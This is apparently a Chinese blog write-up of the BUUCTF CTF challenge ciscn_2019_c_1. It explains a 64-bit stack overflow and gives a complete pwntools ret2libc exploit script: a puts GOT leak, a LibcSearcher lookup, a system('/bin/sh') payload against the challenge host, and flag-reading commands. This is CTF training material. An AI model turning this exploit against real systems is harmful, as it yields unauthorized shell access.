BUUCTF ciscn_2019_c_1

1.Checksec & IDA Pro

 64位ELF,开启了部分RELRO以及NX

RELRO 是一种用于加强对 Binary 数据段的保护的技术。RELRO 分为 Partial RELRO 和 Full RELRO

 NX

由 CPU 提供支持,在页表中有Non-executable flag, 来限制一块内存区域不可执行。

 

 

 

主要就需要看这3个函数,encrypt、main、begin

 

2.栈溢出漏洞

存在这个函数中,大小为 

 

80个字符

b'A' * ( 80 + 0x08 )

不止这种方法可以获取大小,还有两种方法。

IDA Pro中查看的大小有时候可能是错误的,大部分时间以gdb动态调试为准。

常规情况下应该是使用 cyclic -l xxxx 查询。

1. 记事本(然并卵)

把加密后的文本复制到新建文本文档中,查询RBP的前4个字符

84 - 4 即可。

2.gdb 

需要安装 peda 、 gef。

由于安装失败报错,所以没有图片演示。

3.IDA Pro

上面说过了

32位和64位程序在函数调用的方式存在区别。

pwntools入门_TedLau.的博客-CSDN博客_pwntools是什么 

3.构造PoC

Payload思路如下:

( b'A' * ( 80 + 0x08 ) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) )

思路解析: 

--------------------
b'A' * ( 80 + 0x08 )

需要填充的字符数
80 为 0x50 的10进制
0x08 因为是64位程序
--------------------
p64(pop_rdi)

64位程序中用来传参
--------------------
p64(puts_got)
p64(puts_plt)

用got表中的puts泄露真实地址的后3位,后3位不变。
通过 LibcSearcher 搜索对应的 Libc
即可计算出 LibcBase 也就是puts的真实地址,作为基址。
用来计算 system , /bin/sh 的偏移地址。
--------------------
p64(main_addr)

方便之后进行调用shell函数,让程序返回到main函数。
--------------------

完整PoC

from pwn import * 
from LibcSearcher import LibcSearcher
#from LibcSearcherX import * 
 
elf = ELF("/root/Desktop/PwnSubjects/ciscn_2019_c_1")
#libc = ELF("/root/Desktop/PwnSubjects/libc-2.23 (1).so") 
io = remote("node4.buuoj.cn",25933)
#io = process("/root/Desktop/PwnSubjects/ciscn_2019_c_1")
 
puts_plt = elf.plt['puts'] #获取puts的plt表地址
puts_got = elf.got['puts'] #获取puts的got表地址
rdi_addr = 0x400c83 #用来传递参数的地址
main_addr = elf.symbols['main'] #主函数的地址,用来返回执行第二次
ret=0x4006B9 #栈对齐
 
# 阶段1 泄露真实地址
print("--------------------------------------------------")
print("[+] Leaking real address ...")
print("[+] Phase 1 Inprogress.")
payload_addr = flat( "A" * 0x58 ) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) #需要输入0x58个a才能溢出栈,大小为0x50+0x08。rdi中存放了puts_got的真实地址,因为是64位程序,puts_plt表调用puts函数打引puts_got值。然后返回到main地址再执行一次程序,方便后续发送用来开启shell的payload
#payload_addr = ( b'A' * ( 80 + 0x08 ) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) +p32(4) )
io.recv()
io.sendline(b"1") #输入1后输入的地方才是需要溢出的地方
io.recvuntil("encrypted\n")
io.sendline(payload_addr)
io.recvuntil("Ciphertext\n")
io.recvuntil("\n")
#io.sendline(payload_addr)
puts_addr = u64(io.recv(6).ljust(8,b'\x00')) # 接收puts的真实地址
#write_addr = u32(io.recv(4))
print("[+] Payload : \n",(payload_addr))
#io.recvuntil('Input:\n')
#io.sendline(payload_addr)
#write_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
 
print("[+] Leacked.")
print(("[+] Real Address : "),hex(puts_addr))
print("[+] Phase 1 Completed.")
print("--------------------------------------------------")
 
# 阶段2 通过泄露的真实地址计算出system以及/bin/sh的地址
print("[+] Phase 2 Inprogress.")
print("[+] Trying got system and /bin/sh address though real address")
#libc = LibcSearcher("write",write_addr)
 
# Dump Dump是给LibcSearcher用的
libc = LibcSearcher("puts",puts_addr) #使用LibcSearcher在绝大部分libc中搜索puts的后3位地址
libcbase = puts_addr - libc.dump('puts') #使用puts的真实地址作为基址
system = libcbase + libc.dump('system') #计算system与/bin/sh偏移值
bin_sh = libcbase + libc.dump('str_bin_sh')
 
# Sym Symbols 是LibcSearcherX的函数调用方式
#libc = LibcSearcherLocal("puts",puts_addr)
#libcbase = puts_addr - libc.sym['puts']
#system = libcbase + libc.sym['system']
#bin_sh = libcbase + libc.sym['str_bin_sh']
 
#libcbase = puts_addr - libc.symbols['puts']
#system = libcbase + libc.symbols['system']
#bin_sh = libcbase + next(libc.search(b'/bin/sh'))
 
print("[+] Phase 2 Completed")
print("--------------------------------------------------")
 
# 阶段3 打印各个地址
print("[+] Phase 3 Inprogress.")
print("[+] Real Address: ",hex(puts_addr))
print("[+] Base Address: ",hex(puts_addr))
print("[+] System Address: ",hex(system))
print("[+] /bin/sh Address: ",hex(bin_sh))
print("[+] Phase 3 Completed")
print("--------------------------------------------------")
 
# 阶段4 获取shell
payload = ( flat( "A" * 0x58) + p64(ret) + p64(rdi_addr) + p64(bin_sh) + p64(system) )
#payload = ( b'A' * ( 136 + 0x04 ) + p32(system) +p32(0) + p32(bin_sh) )
#io.sendlineafter("Input:\n",payload)
io.recv()
io.sendline('1')
io.recvuntil("encrypted\n")
io.sendline(payload)
print("Successfully got shell , Automaticly searching system version.")
print("Got")
io.sendline(b"find '/flag.txt' -exec cat {} \;")
print("The")
io.sendline(b"find '/flag' -exec cat {} \;")
print("Damn")
io.sendline(b"find '/proc/version' -exec cat {} \;")
print("Shell!")
io.interactive()

成功获取shell

 远程调试使用 libc 0 ,本地调试使用 libc 1

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值